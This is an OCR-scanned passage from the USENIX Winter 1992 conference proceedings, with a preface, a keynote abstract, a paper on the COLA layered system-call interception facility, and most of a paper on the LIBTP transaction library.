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PREFACE

Welcome to San Francisco for the USENIX 1992 Winter Technical Conference.

I believe that USENIX conferences are unusual in that they provide "something for
everyone." This conference is no exception. Papers range from the hard academic variety to
pragmatic discussions, with some "fun" work thrown in for good measure. In all cases, the
Program Committee looked for practical results. We had the luxury of selecting 33 papers from
104 submissions, albeit coupled with the painful task of rejecting some fine papers that just didn't
fit into the program. We hope you find our selections enjoyable and useful.

Since my first days with UNIX, networking has changed from being virtually nonexistent to
being common. However, it is not yet pelVasive: I cannot send email to my sister, who works
with Macintoshes at a design firm. This will certainly change soon: our keYnote SPeaker, Mitch
Kapor, will talk about how. Thanks to Barry Shein for suggesting Mitch and making the
introductions.

I have the dubious honor of having chaired two USENIX conferences. This one has been
very different than my previous experience, four and a half years ago in Phoenix. The conference
has gotten larger and expectations have been raised. For example, the Invited Talks are now a
regular feature; in 1987, they hadn't been conceived. We also provided reviewer comments on
all submissions; prior conferences usually provided comments on only a few papers (this turned
out to be a lot of work).

However, the good news is that many tasks that were previously on my shoulders have been
spread among many people. The USENIX office staff has helped in a hundred ways. I'd like to
give particular thanks to CarolYn Carr, the USENIX Publications Manager, who provided
tremendous ongoing assistance for these proceedings; her work started well before the program
committee meeting and is still continuing as I write these words. Evi Nemeth from the
University of Colorado, Boulder flew to Berkeley to once again help with proceedings
production.

As with any large endeavor, many volunteers have generously donated their time. My
special thanks go to all of them.

Eric Allman
University of California, Berkeley
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Building the Open Road:
The Internet as a Testbed for the National Public Network

Mitch Kapor, Electronic Frontier Foundation

(Abstract only)

A debate has begun about the future of America's communications infrastructure. At stake is the future of the
web of infonnation links organically evolving from computer and telephone systems. By the end of the next
decade, these links will connect nearly all homes and businesses in the U.S in a national public network. They will
serve as the main channels for commerce, learning, education, and entertainment in our society.

This talk will focus on how the Internet and NREN can serve as vital laboratories for social experiments in
public infonnation networking. I will examine what approaches to technical architecture of the net and regulatory
policies are most likely to stimulate the development of innovative end-user applications and services. We must
ensure that the design and use of the network remains open to diversity and to safeguarding the freedom of users.

The chance to influence the shape of a new medium usually arrives when it is too late: when the medium is
frozen in place. Today, because of the gradual evolution of the National Public Network, and the unusual aware­
ness people have of its possibilities, there is a rare opportunity to shape this new medium in the public interest
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COLA: Customized Overlaying

Eduardo Krelll

(ekrell@ulysses.att.com)
Balachander Krishnamurthy

(bala@research.att.com)

AT&T Bell Laboratories
600 Mountain Avenue

Murray Hill, NJ 07974
USA

System calls are the basic building blocks for writing programs in the UNIX2 operating

system. From the canonical read, write, open, close, seek, ... to the more obscure
ones, programs have been written to use system calls in a variety of ways. Often there
is a need to intercept a few system calls to perform some special task. Given that it is
hard to go below the level of system calls and still write portable programs, it is easy
to see the need for intercepts at the system call level. A simple example of a useful
interception facility is a library that watches for file creation and modifications.

In this paper we describe COLA, an elegant, customizable and dynamic facility to
overlay a variety of system call intercepts. With COLA, users can specify an arbitrary
number of system call filters, each of which may intercept different system calls and
perform different actions upon interception. The set of overlaying filters can be modified
at any time during the session. A program run under COLA will have any of the filtered
system calls processed at each layer before control is passed on to the next layer. The
final layer always is the standard UNIX system call layer. System calls not intercepted by
any of the overlaying filters will execute transparently. No recompilation of programs or
static relinking is necessary. It should be noted that this facility depends on availability
of shared libraries.

1. Motivation

The motivation for COLA came from two separate projects in our department. The first project
is the 3D File System [KK90] which intercepts some twenty odd system calls to provide the users
with a file version facility and a transparent viewpathing mechanism.

The second is Yeast [KR91], an event-action tool, that watches for changes in attributes of objects
such as files, directories, etc. The initial implementation of Yeast polled the file system periodically
to watch for these events. Polling has the inherent trade-off of a low frequency polling interval
leading to missed events, or a high frequency interval leading to a larger overhead. Automatic
detection of file system events would eliminate this problem.

1 Author's present address: Fundacion Chile, Casilla 773, Santiago, Chile. Email: ekrell@fundch.cl
2UNIX is a registered trademark of Unix System Laboratories, Inc.
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COLA: Customized Overlaying Krell, Krisbnamurthy

We sought to generalize the system call interception mechanism and implement both the automatic
detection facility and the 3D File System under this. As it turned out, we were not only able to do
this, but were also able to create other useful applications thanks to the customizability of COLA.
By layering these intercept libraries we can dynamically filter the system calls through as many
layers as needed for each application.

Related work in this area appears to be sparse: apart from the 3-D File System we were also
influenced by Presotto and Ritchie's streams mechanism [PR90]. Also, in the Silicon Graphics
version of UNIX, there is an inode watching mechanism that is provided via the File Alteration
Monitor (jam) facility. The facility is available at the kernel level. We believe that trying to achieve
specific instances of intercepts by changing the kernel is not practical. A generic mechanism that
works not only for file changes, but for any subset of system calls (e.g. non-file system related
ones), is preferable. This is precisely the goal of COLA.

In the rest of the paper we look at an example COLA library in detail, discuss the implementation
and a brief performance study. We conclude with the lessons learned thus far and some future
plans.

2. Examples

In this section we present a sample COLA application in depth and mention other COLA applica­
tions.

Often, users are interested in knowing when some operating system phenomena have occurred.
Chief among them are changes in the file system; e.g. when a file has been created, changed or
removed. Currently, in UNIX., the common recourse is to poll the file system to look for changes in
the file's status. With a COLA library, however, it is possible to intercept the creat, close, open,
unlink, write etc. system calls and make precise deductions as to the change in the status of files.

A brief mention of the event-action specification tool Yeast is necessary. Users register specifications
with Yeast consisting of patterns of events and an action; when event patterns are matched by
Yeast, the action is triggered. Events can be simple temporal events (at 9: 30am wednesday) or
object events (file faa mtime changed), or user-defined events. Yeast has the capability to be
notified of occurrences of events via its announce mechanism. An announcement packet includes
the object, attribute and the new value of the attribute. Thus, when file faa is modified, the
following announcement is generated and sent

announce file foo mtime = 12:53 November 20 1991

Without COLA, Yeast would have to poll the file system to check for file related events. With
the announce COLA library, the relevant system calls are intercepted and file related events are
announced to Yeast.

The detection itseH is a simple matter of recording the stat information of a file that has been
opened for writing, and checking it against the stat information at the time close is called. If the
stat information differ, a Yeast announcement is generated. Similarly, announcements are gener­
ated when a file is created or removed (corresponding to creat and unlink). The announcements
themselves are asynchronous writes to a well-known port on which the Yeast daemon is listening.
Thus announcements of file changes are immediately handled by the Yeast daemon and any user

4 USENIX - Winter '92



Krell, Krishnamurthy COLA: Customized Overlaying

action that has to be executed upon changes in the file system is triggered immediately, without
any polling. The overhead on the file system is negligible and performance measurement show~

that the autozp.atic detection model is vastly superior to any polling model.

The announce COLA library itself is very simple since it intercepts half a dozen system calls and
all but one of the corresponding routines are less than ten lines of code. The longest routine, open,
is twenty lines long.

A library that permits users to use emacs or vi style of editing (like ksh) while interacting with
any command, needs only to trap the read system call. Other libraries include a trivial system
call tracing facility, a program profiler, a user level file system, a single library that enables moving
away from hacks like /dev/fd and /dev/tcp etc. A user recently wrote a automatic file retrieval
library simply by trapping open; if the file was not locally available a ftp connection was opened in
background to retrieve the file from the remote site.

3. Implementation

The prototype implementation uses a shared library (which we will call the COLA library) to
intercept all system calls. An initialization function in this library uses the dlopenO interface to
the dynamic link-editor to load into the process' address space the COLA libraries wanted by the
user. The user sets an environment variable called LD_COLA to a colon-separated list of libraries
of system call traps.

The COLA library looks into each library in this list for definitions of the system calls (open(),
statO, etc.). When it finds one, it stores a pointer to it in a jump matrix. The contents of the
[8,1] element in this matrix is a pointer to system call number s in the library number 1. If a library
does not contain a definition for a system call, the corresponding pointer is NULL. The current
prototype implements system calls only but the COLA concept really applies to all the functions
in the C library. In that case, the numbering of the functions would be arbitrary and could be
generated on the fly.

In normal operation, when a user-level program issues a system call (like a openO), it will be
intercepted by the openO function in our COLA library. It will then call the first function whose
address was stored in the fifth row of the jump matrix described above (the system call number for
openO happens to be five), after storing the index of the column where that pointer was found.
All NULL pointers are skipped.

When the openO function in the first library wants to call the open() in the next library, it does
this by calling _COLA_OPENO. The COLA library also defines these special names and so this
call transfers control back to the COLA library. The job of the COLA library at this point is to
call the openO function in the next library. Since we stored the index of the column we called last,
we start looking for a non-null pointer from the column to the right of the last one searched, and
the process continues.

When we run out of columns, it is time to call the actual openO system call using the syscallO
mechanism, and returning the value we get back. System calls that are not trapped will proceed
directly since the first entry in the matrix would be NULL requiring no further processing.

USENIX - Winter '92 5
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3.1. Writing COLA Libraries

Krell, Krisbnamurthy

A writer of a COLA library needs to follow certain guidelines. If the library implements the
openO function, then it should have the same interface as the system call (same number and types
of arguments, same return values, etc.). Moreover, the writer must make sure that a call is made
to the next COLA library layer by calling the _COLA_OPENO function, else the chain would not
be completed.

3.2. COLA Support Library

The COLA support library provides some support functions for the writers of COLA libraries. For
instance, the printfO function in the standard C library can not be used since it calls the writeO
system call. If a call to printfO is made from within a writeO function in a COLA library, it will
cause an infinite loop. We rewrote printfO to use the syscall primitive instead of calling writeO
directly. As more of these cases are found, they will be added to the support library.

In addition, we plan to provide a safe version of the signalO interface to handle interrupts in a
transparent way.

4. Performance

Since COLA works by intercepting system calls we decided to measure this overhead. The imple­
mentation requires some initialization to be performed before the LD_COLA environment variable
is checked. This is done regardless of the number of libraries through which system calls have to
be filtered. The goal of the performance measurement was to measure the overhead introduced by
the COLA library and to examine the extra time spent in a user's system call trap library. Since
the work done inside the user's library varies with the application we considered a skeleton library,
libtrace, which merely traps the system calls and prints out the name of the call and its arguments.
For purposes of the study, the printing was suppressed.

The performance study was conducted on a 21 MIPS SPARCServer 490 with 32 MB memory. A
simple C program that made three system calls in a loop was used as the benchmarking program.
Three sets of measurements were made. The loop variable was set to be 1000, 10000 and 33333
thus generating 3000, 30000 and 100000 (almost) system calls. Each measurement figure presented
is an average of multiple runs.

The first set of measurements did not have LD-PRELOAD set and is the base figure. The second
set has the LD_PRELOAD variable set to the COLA library but with the LD_COLA environment
variable unset (Le. no system calls are actually trapped). The third set of measurements represents
the figures with both LD-PRELOAD and LD_COLA environment variables set. The LD_COLA
variable was set to be libtrace, the COLA library which traps all the system calls. Since the
benchmark program referred to three system calls (open, close, unlink), the overhead involved
in going through one layer (viz. libtrace) was measured in addition to the initialization overhead
of the COLA library.

6 USENIX - Winter '92
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Table 1 shows the result of the study. As can be seen the overhead introduced is negligible.

Table 1: Overhead of libcola

# of Syscalls Raw syscalls LD-PRELOAD set LD-PRELOAD + libtrace
3000 0.07 + 2.65 0.16 + 3.45 0.21 + 3.80
30000 0.97 + 29.35 1.63 + 32.88 2.14 + 33.26
100000 4.11 + 2m9.65 6.26 + 2m10.5 9.00 + 2m12.75

It must be stressed that if the COLA libraries were to do actual work the overhead would be
necessarily greater. We picked the libtrace COLA library since it merely printed out the name of
the system call along with its arguments. For the measurement period the printing was suppressed,
since the goal of the measurement was to study the overhead in setting up and navigating through
the layers rather than the work done inside the individual libraries.

5. Conclusion

As a result of COLA, we believe that intercepting system calls in a generic and customizable
manner enables several applications that have hitherto not been implemented or implemented with
difficulty and high overhead. Our implementation of COLA and the set of libraries we wrote has
already demonstrated its usefulness to us. Rather than having a special facility to watch for file
changes or making changes in the kernel, we were able to write a small COLA library that performs
this task. This is very much in keeping with the UNIX philosophy of writing small tools and being
able to combine them into larger ones. We believe that several system call filters will be written,
spanning a rich class of applications. '

There are some tricky aspects to writing COLA libraries - watching out for recursion, use of
malloc(), etc. By moving some commonly used and potentially tricky routines into the COLA
support library we can help minimize this problem. Users have to be careful about the order
of layering the libraries but this is to be expected. The library writers have to adhere to the
conventions mentioned in Section 3.1. Our future work will consist of improving the prototype and
expanding the user community, apart from writing new COLA libraries.
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LIBTP: Portable, Modular Transactions for UNIX

Margo Seltzer
Michael Olson

University ofCalifornia, Berkeley

Abstract
Transactions provide a useful programming paradigm for maintaining logical consistency, arbitrating con­

current access, and managing recovery. In traditional UNIX systems, the only easy way of using transactions is to
purchase a database system. Such systems are often slow, costly, and may not provide the exact functionality
desired. This paper presents the design, implementation, and performance of LIBTP, a simple, non-proprietary tran­
saction library using the 4.4BSD database access routines (db(3». On a conventional transaction processing style
benchmark, its perfonnance is approximately 85% that of the database access routines without transaction protec­
tion,2oo% that of using fsync(2) to commit modifications to disk, and 125% that of a commercial relational data­
base system.

1. Introduction

Transactions are used in database systems to enable concurrent users to apply multi-operation updates without
violating the integrity of the database. They provide the properties of atomicity, consistency, isolation, and durabil­
ity. By atomicity, we mean that the set of updates comprising a transaction must be applied as a single unit; that is,
they must either all be applied to the database or all be absent. Consistency requires that a transaction take the data­
base from one logically consistent state to another. The property of isolation requires that concurrent transactions
yield results which are indistinguishable from the results which would be obtained by running the transactions
sequentially. Finally, durability requires that once transactions have been committed, their results must be preserved
across system failures [TPCB90).

Although these properties are most frequently discussed in the context of databases, they are useful program­
ming paradigms for more general purpose applications. There are several different situations where transactions
can be used to replace current ad-hoc mechanisms.

One situation is when multiple files or parts of files need to be updated in an atomic fashion. For example, the
traditional UNIX file system uses ordering constraints to achieve recoverability in the face of crashes. When a new
file is created, its inode is written to disk before the new file is added to the directory structure. This guarantees that,
if the system crashes between the two I/O's, the directory does not contain a reference to an invalid inode. In actu­
ality, the desired effect is that these two updates have the transactional property of atomicity (either both writes are
visible or neither is). Rather than building special purpose recovery mechanisms into the file system or related tools
(e.g. fsck(8», one could use general purpose transaction recovery protocols after system failure. Any application
that needs to keep multiple, related files (or directories) consistent should do so using transactions. Source code
control systems, such as RCS and SCCS, should use transaction semantics to allow the "checking in" of groups of
related files. In this way, if the "check-in" fails, the transaction may be aborted, backing out the partial "check­
in" leaving the source repository in a consistent state.

A second situation where transactions can be used to replace current ad-hoc mechanisms is in applications
where concurrent updates to a shared file are desired, but there is logical consistency of the data which needs to be
preserved. For example, when the password file is updated, file locking is used to disallow concurrent access. Tran­
saction semantics on the password files would allow concurrent updates, while preserving the logical consistency of
the password database. Similarly, UNIX utilities which rewrite files face a potential race condition between their
rewriting a file and another process reading the file. For example, the compiler (more precisely, the assembler) may
have to rewrite a file to which it has write permission in a directory to which it does not have write permission.
While the ".0" file is being written, another utility such as nm(l) or ar(l) may read the file and produce invalid
results since the file has not been completely written. Currently, some utilities use special purpose code to handle
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such cases while others ignore the problem and force users to live with the consequences.

In this paper. we present a simple library which provides transaction semantics (atomicity, consistency, isola­
tion, and durability). The 4.4BSD database access methods have been modified to use this library, optionally provid­
ing shared buffer management between applications, locking. and transaction semantics. Any UNIX program may
transaction protect its data by requesting transaction protection with the db(3) library or by adding appropriate calls
to the transaction manager. buffer manager, lock manager. and log manager. The library routines may be linked
into the host application and called by subroutine interface, or they may reside in a separate server process. The
server architecture provides for network access and better protection mechanisms.

2. Related Work

There has been much discussion in recent years about new transaction models and architectures
[SPEC88)[NODI90][CHEN91)[MOHA91). Much of this work focuses on new ways to model transactions and the
interactions between them, while the work presented here focuses on the implementation and performance of tradi­
tional transaction techniques (write-ahead logging and two-phase locking) on a standard operating system (UNIX).

Such traditional operating systems are often criticized for their inability to perform transaction processing
adequately. [STON8I) cites three main areas of inadequate support: buffer management. the file system, and the
process structure. These arguments are summarized in table one. Fortunately, much has changed since 1981. In
the area of buffer management, most UNIX systems provide the ability to memory map files, thus obviating the
need for a copy between kernel and user space. If a database system is going to use the file system buffer cache,
then a system call is required. However, if buffering is provided at user level using shared memory, as in LIBTP,
buffer management is only as slow as access to shared memory and any replacement algorithm may be used. Since
multiple processes can access the shared data, prefetching may be accomplished by separate processes or threads
whose sole purpose is to prefetch pages and wait on them. There is still no way to enforce write ordering other than
keeping pages in user memory and using the fsync(3) system call to perform synchronous writes.

In the area of file systems, the fast file system (FFS) [MCKU84] allows allocation in units up to 64KBytes as
opposed to the 4KByte and 8KByte figures quoted in [STON8I). The measurements in this paper were taken from
an 8KByte FFS, but as LIBlP runs exclusively in user space, there is nothing to prevent it from being run on other
UNIX compatible file systems (e.g. log-structured [ROSE91], extent-based, or multi-block [SELT9I]).

Finally, with regard to the process structure, neither context switch time nor scheduling around semaphores
seems to affect the system performance. However, the implementation of semaphores can impact performance
tremendously. This is discussed in more detail in section 4.3.

The Tuxedo system from AT&T is a transaction manager which coordinates distributed transaction commit
from a variety of different local transaction managers. At this time, LIBTP does not have its own mechanism for
distributed commit processing, but could be used as a local transaction agent by systems such as Tuxedo
[ANDR89].

The transaction architecture presented in [YOUN9I) is very similar to that implemented in the LIBTP. While
[YOUN91] presents a model for providing transaction services, this paper focuses on the implementation and per­
formance of a particular system. In addition, we provide detailed comparisons with alternative solutions: traditional

Buffer Management • Data must be copied between kernel space and user space.
• Buffer pool access is too slow.
• There is no way to request prefetch.
• Replacement is usually LRU which may be suboptimal for databases.
• There is no way to 2uarailtee write ordering.

File System • Allocation is done in small blocks (usually 4K or 8K).
• Logical organization of files is redundantly expressed.

Process Structure • Context switching and message passing are too slow.
• A process may be descheduled while holding a semaphore.

Table One: Shortcomings of UNIX transaction support cited in [STON81].
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UNIX services and commercial database management systems.

LIBTP: Portable, Modular...

3. Architecture

The library is designed to provide well defined interfaces to the services required for transaction processing.
These services are recovery, concurrency control, and the management of shared data. First we will discuss the
design tradeoffs in the selection of recovery, concurrency control, and buffer management implementations, and
then we will present the overall library architecture and module descriptions.

3.1. Design Tradeoffs

3.1.1. Crash Recovery

The recovery protocol is responsible for providing the transaction semantics discussed earlier. There are a
wide range of recovery protocols available [BAER83], but we can crudely divide them into two main categories.
The first category records all modifications to the database in a separate file, and uses this file (log) to back out or
reapply these modifications if a transaction aborts or the system crashes. We call this set the logging protocols.
The second category avoids the use of a log by carefully controlling when data are written to disk. We call this set
the non-logging protocols.

Non-logging protocols hold dirty buffers in main memory or temporary files until commit and then force these
pages to disk at transaction commit. While we can use temporary files to hold dirty pages that may need to be
evicted from memory during a long-running transaction, the only user-level mechanism to force pages to disk is the
fsync(2) system call. Unfortunately, fsync(2) is an expensive system call in that it forces all pages of a file to disk,
and transactions that manage more than one file must issue one call per file.

In addition, fsync(2) provides no way to control the order in which dirty pages are written to disk. Since
non-logging protocols must sometimes order writes carefully [SULL92], they are difficult to implement on Unix
systems. As a result, we have chosen to implement a logging protocol.

Logging protocols may be categorized based on how infonnation is logged (physically or logically) and how
much is logged (before images, after images or both). In physical logging, images of complete physical units
(pages or buffers) are recorded, while in logical logging a description of the operation is recorded. Therefore, while
we may record entire pages in a physical log, we need only record the records being modified in a logical log. In
fact, physical logging can be thought of as a special case of logical logging, since the "records" that we log in logi­
cal logging might be physical pages. Since logical logging is both more space-efficient and more general, we have
chosen it for our logging protocol.

In before-image logging, we log a copy of the data before the update, while in after-image logging, we log a
copy of the data after the update. If we log only before-images, then there is sufficient infonnation in the log to
allow us to undo the transaction (go back to the state represented by the before-image). However, if the system
crashes and a committed transaction's changes have not reached the disk, we have no means to redo the transaction
(reapply the updates). Therefore, logging only before-images necessitates forcing dirty pages at commit time. As
mentioned above, forcing pages at commit is considered too costly.

If we log only after-images, then there is sufficient infonnation in the log to allow us to redo the transaction
(go forward to the state represented by the after-image), but we do not have the infonnation required to undo tran­
sactions which aborted after dirty pages were written to disk. Therefore, logging only after-images necessitates
holding all dirty buffers in main memory until commit or writing them to a temporary file.

Since neither constraint (forcing pages on commit or buffering pages until commit) was feasible, we chose to
log both before and after images. The only remaining consideration is when changes get written to disk. Changes
affect both data pages and the log. If the changed data page is written before the log page, and the system crashes
before the log page is written, the log will contain insufficient infonnation to undo the change. This violates tran­
saction semantics, since some changed data pages may not have been written, and the database cannot be restored to
its pre-transaction state.

The log record describing an update must be written to stable storage before the modified page. This is
write-ahead logging. If log records are safely written to disk, data pages may be written at any time afterwards.
This means that the only file that ever needs to be forced to disk is the log. Since the log is append-only, modified
pages always appear at the end and may be written to disk efficiently in any file system that favors sequential order­
ing (e.g., FFS, log-structured file system, or an extent-based system).
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3.1.2. Concurrency Control

The concurrency control protocol is responsible for maintaining consistency in the presence of multiple
accesses. There are several alternative solutions such as locking, optimistic concurrency control [KUNG81], and
timestamp ordering [BERN80]. Since optimistic methods and timestamp ordering are generally more complex and
restrict concurrency without eliminating starvation or deadlocks, we chose two-phase locking (2PL). Strict 2PL is
suboptimal for certain data structures such as B-trees because it can limit concurrency, so we use a special locking
protocol based on one described in [LEHM81].

The B-tree locking protocol we implemented releases locks at internal nodes in the tree as it descends. A lock
on an internal page is always released before a lock on its child is obtained (that is, locks are not coupled [BAY??]
during descent). When a leaf (or internal) page is split, a write lock is acquired on the parent before the lock on the
just-split page is released (locks are coupled during ascent). Write locks on internal pages are released immediately
after the page is updated, but locks on leaf pages are held until the end of the transaction.

Since locks are released during descent, the structure of the tree may change above a node being used by
some process. If that process must later ascend the tree because of a page split, any such change must not cause
confusion. We use the technique described in [LEHM81] which exploits the ordering of data on a B-tree page to
guarantee that no process ever gets lost as a result of internal page updates made by other processes.

If a transaction that updates a B-tree aborts, the user-visible changes to the tree must be rolled back. How­
ever, changes to the internal nodes of the tree need not be rolled back, since these pages contain no user-visible data.
When roIling back a transaction, we roll back all leaf page updates, but no internal insertions or page splits. In the
worst case, this will leave a leaf page less than half full. This may cause poor space utilization, but does not lose
user data.

Holding locks on leaf pages unli! transaction commit guarantees that no other process can insert or delete data
that has been touched by this process. Rolling back insertions and deletions on leaf pages guarantees that no
aborted updates are ever visible to other transactions. Leaving page splits intact permits us to release internal write
locks early. Thus transaction semantics are preserved, and locks are held for shorter periods.

The extra complexity introduced by this locking protocol appears substantial, but it is important for multi-user
execution. The benefits of non-two-phase locking on B-trees are well established in the database literature
[BAY??], [LEHM:81]. If a process held locks until it committed, then a long-running update could lock out all other
transactions by preventing any other process from locking the root page of the tree. The B-tree locking protocol
described above guarantees that locks on internal pages are held for extremely short periods, thereby increasing con­
currency.

3.1.3. Management of Shared Data

Database systems pennit many users to examine and update the same data concurrently. In order to provide
this concurrent access and enforce the write-ahead logging protocol described in section 3.1.1, we use a shared
memory buffer manager. Not only does this provide the guarantees we require, but a user-level buffer manager is
frequently faster than using the file system buffer cache. Reads or writes involving the file system buffer cache
often require copying data between user and kernel space while a user-level buffer manager can return pointers to
data pages directly. Additionally, if more than one process uses the same page, then fewer copies may be required.

3.2. Module Architecture

The preceding sections described modules for managing the transaction log, locks, and a cache of shared
buffers. In addition, we need to provide functionality for transaction begin, commit, and abort processing, necessi­
tating a transaction manager. In order to arbitrate concurrent access to locks and buffers, we include a process
management module which manages a collection of semaphores used to block and release processes. Finally, in
order to provide a simple, standard interface we have modified the database access routines (db(3». For the pur­
poses of this paper we call the modified package the Record Manager. Figure one shows the main interfaces and
architecture of LIBTP.

3.2.1. The Log Manager

The Log Manager enforces the write-ahead logging protocol. Its primitive operations are log, log_commit,
log read, log roll and log unroll. The log call performs a buffered write of the specified log record and returns a
unique log sequence number (LSN). This LSN may then be used to retrieve a record from the log using the
log_read call. The log interface knows very little about the internal format of the log records it receives. Rather, all
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log records are referenced by a header structure, a log record type, and a character buffer containing the data to be
logged. The log record type is used to call the appropriate redo and undo routines during abort and commit process­
ing. While we have used the Log Manager to provide before and after image logging, it may also be used for any
of the logging algorithms discussed.

The log_commit operation behaves exactly like the log operation.but guarantees that the log has been forced
to disk before returning. A discussion of our commit strategy appears in the implementation section (section 4.2).
Log_unroll reads log records from the log, following backward transaction pointers and calling the appropriate undo
routines to implement transaction abort. In a similar manner, log roll reads log records sequentially forward, cal­
ling the appropriate redo routines to recover committed trnnsactions after a system crash.

3.2.2. The Buffer Manager

The Buffer Manager uses a pool of shared memory to provide a least-recently-used (LRU) block cache.
Although the current library provides an LRU cache, it would be simple to add alternate replacement policies as
suggested by [CHOU85] or to provide multiple buffer pools with different policies. Transactions request pages
from the buffer manager and keep them pinned to ensure that they are not written to disk while they are in a logi­
cally inconsistent state. When page replacement is necessary, the Buffer Manager finds an unpinned page and then
checks with the Log Manager to ensure that the write-ahead protocol is enforced

3.2.3. The Lock Manager

The Lock Manager supports general purpose locking (single writer, multiple readers) which is currently used
to provide two-phase locking and high concurrency B-tree'locking. However, the general purpose nature of the lock
manager provides the ability to support a variety of locking protocols. Currently, all locks are issued at the granu­
larity of a page (the size of a buffer in the buffer pool) which is identified by two 4-byte integers (a file id and page
number). This provides the necessary information to extend the Lock Manager to perform hierarchical locking
[GRAY76]. The current implementation does not support locks at other granularities and does not promote locks;
these are obvious future additions to the system.
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If an incoming lock request cannot be granted, the requesting process is queued for the lock and descheduled.
When a lock is released, the wait queue is traversed and any newly compatible locks are granted. Locks are located
via a file and page hash table and are chained both by object and by transaction, facilitating rapid traversal of the
lock table during transaction commit and abort.

The primary interfaces to the lock manager are lock, unlock, and lock unlock all. Lock obtains a new lock
for a specific object. There are also two variants of the lock request, lockypgrade and lock_downgrade, which
allow the caller to atomically trade a lock of one type for a lock of another. Unlock releases a specific mode of lock
on a specific object. Lock_unlock_all releases all the locks associated with a specific transaction.

3.2.4. The Process Manager

The Process Manager acts as a user-level scheduler to make processes wait on unavailable locks and pending
buffer cache I/O. For each process, a semaphore is maintained upon which that process waits when it needs to be
descheduled. When a process needs to be run, its semaphore is cleared, and the operating system reschedules it. No
sophisticated scheduling algorithm is applied; if the lock for which a process was waiting becomes available, the
process is made runnable. It would have been possible to change the kernel's process scheduler to interact more
efficiently with the lock manager, but doing so would have compromised our commitment to a user-level package.

3.2.5. The Transaction Manager

The Transaction Manager provides the standard interface of txn~begin, txn_commit, and txn_abort. It keeps
track of all active transactions, assigns unique transaction identifiers, and directs the abort and commit processing.
When a txn_begin is issued, the Transaction Manager assigns the next available transaction identifier, allocates a
per-process transaction structure in shared memory, increments the count of active transactions, and returns the new
transaction identifier to the calling process. The in-memory transaction structure contains a pointer into the lock
table for locks held by this transaction, the last log sequence number, a transaction state (idle, running, aborting, or
committing), an error code, and a semaphore identifier.

At commit, the Transaction Manager calls log commit to record the end of transaction and to flush the log.
Then it directs the Lock Manager to release all locks associated with the given transaction. If a transaction aborts,
the Transaction Manager calls on log_unroll to read the transaction's log records and undo any modifications to
the database. As in the commit case, it then calls lock_unlock_all to release the transaction's locks.

3.2.6. The Record Manager

The Record Manager supports the abstraction of reading and writing records to a database. We have
modified the the database access routines db(3) [BSD91] to caI1 the log, lock, and buffer managers. In order to pro­
vide functionality to perform undo and redo, the Record Manager defines a collection of log record types and the
associated undo and redo routines. The Log Manager performs a table lookup on the record type to call the
appropriate routines. For example, the B-tree access method requires two log record types: insert and delete. A
replace operation is implemented as a delete followed by an insert and is logged accordingly.

3.3. Application Architectures

The structure of LIBTP allows application designers to trade off performance and protection. Since a large
portion of LIBTP's functionality is provided by managing structures in shared memory, its structures are subject to
corruption by applications when the library is linked directly with the application. For this reason, LIBTP is
designed to allow compilation into a separate server process which may be accessed via a socket interface. In this
way LIBTP's data structures are protected from application code, but communication overhead is increased. When
applications are trusted, LIBTP may be compiled directly into the application providing improved performance.
Figures two and three show the two alternate application architectures.

There are potentially two modes in which one might use LIBTP in a server based architecture. In the first, the
server would provide the capability to respond to requests to each of the low level modules (lock, log, buffer, and
transaction managers). Unfortunately, the performance of such a system is likely to be blindingly slow since modi­
fying a piece of data would require three or possibly four ~parate communications: one to lock the data, one to
obtain the data, one to log the modification, and possibly one to transmit the modified data. Figure four shows the
relative performance for retrieving a single record using the record level call versus using the lower level buffer
management and locking calls. The 2:1 ratio observed in the single process case reflects the additional overhead of
parsing eight commands rather than one while the 3:1 ratio observed in the client/server architecture reflects both
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the parsing and the communication overheard. Although there may be applications which could tolerate such per­
formance, it seems far more feasible to support a higher level interface, such as that provided by a query language
(e.g. SQL [SQL86]).

Although LIBTP does not have an SQL parser, we have built a server application using the toolkit command
language (TCL) [OUST90]. The server supports a command line interface similar to the subroutine interface
defined in db(3). Since it is based on TeL, it provides control structures as well.

4. Implementation

4.1. Locking and Deadlock Detection

LIBTP uses two-phase locking for user data. Strictly speaking, the two phases in two-phase locking are a
grow phase, during which locks are acquired, and a shrink phase, during which locks are released. No lock may
ever be acquired during the shrink phase. The grow phase lasts until the first release, which marks the start of the
shrink phase. In practice, the grow phase lasts for the duration of a transaction in LIBTP and in commercial data­
base systems. The shrink phase takes place during transaction commit or abort. This means that locks are acquired
on demand during the lifetime of a transaction, and held until commit time, at which point all locks are released.

If multiple transactions are active concurrently, deadlocks can occur and must be detected and resolved. The
lock table can be thought of as a representation of a directed graph. The nodes in the graph are transactions. Edges
represent the waits-for relation between transactions; if transaction A is waiting for a lock held by transaction B,
then a directed edge exists from A to B in the graph. A deadlock exists if a cycle appears in the graph. By conven­
tion, no transaction ever waits for a lock it already holds, so reflexive edges are impossible.

A distinguished process monitors the lock table, searching for cycles. The frequency with which this process
runs is user-settable; for the multi-user tests discussed in section 5.1.2, it has been set to wake up every second, but
more sophisticated schedules are certainly possible. When a cycle is detected, one of the transactions in the cycle is
nominated and aborted When the transaction aborts, it rolls back its changes and releases its locks, thereby break­
ing the cycle in the graph.

4.2. Group Commit

Since the log must be flushed to disk at commit time, disk bandwidth fundamentally limits the rate at which
transactions complete. Since most transactions write only a few small records to the log, the last page of the log will
be flushed once by every transaction which writes to it. In the naive implementation. these flushes would happen
serially.
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(rather than a procedural interface) is shown on the y axis. The "component" numbers reflect the timings when the record is retrieved by

separate calls to the lock manager and buffer manager while the "record" timings were obtained by using a single call to the record manager.

The 2:1 ratio observed for the single process case is a reflection of the parsing overhead for executing eight separate commands rather than one.

The additional factor of one reflected in the 3:1 ratio for the client/server architecture is due to the communication overhead. The true ratios are

acbJally worse since the component timings do not reflect the search times within each page or the time required to transmit the page between the

two processes.

LIBTP uses group commit [DEWI84] in order to amortize the cost of one synchronous disk write across
multiple transactions. Group commit provides a way for a group of transactions to commit simultaneously. The
first several transactions to commit write their changes to the in-memory log page, then sleep on a distinguished
semaphore. Later, a committing transaction flushes the page to disk, and wakes up all its sleeping peers. The point
at which changes are actually written is detennined by three thresholds. The first is the group threshold and defines
the minimum number of transactions which must be active in the system before transactions are forced to participate
in a group commit. The second is the wait threshold which is expressed as the percentage of active transactions
waiting to be committed. The last is the logdelay threshold which indicates how much unflushed log should be
allowed to accumulate before a waiting transaction's commit record is fl ushed.

Group commit can substantially improve performance for high-concurrency environments. Ifonly a few tran­
sactions are running, it is unlikely to improve things at all. The crossover point is the point at which the transaction
commit rate is limited by the bandwidth of the device on which the log resides. If processes are trying to flush the
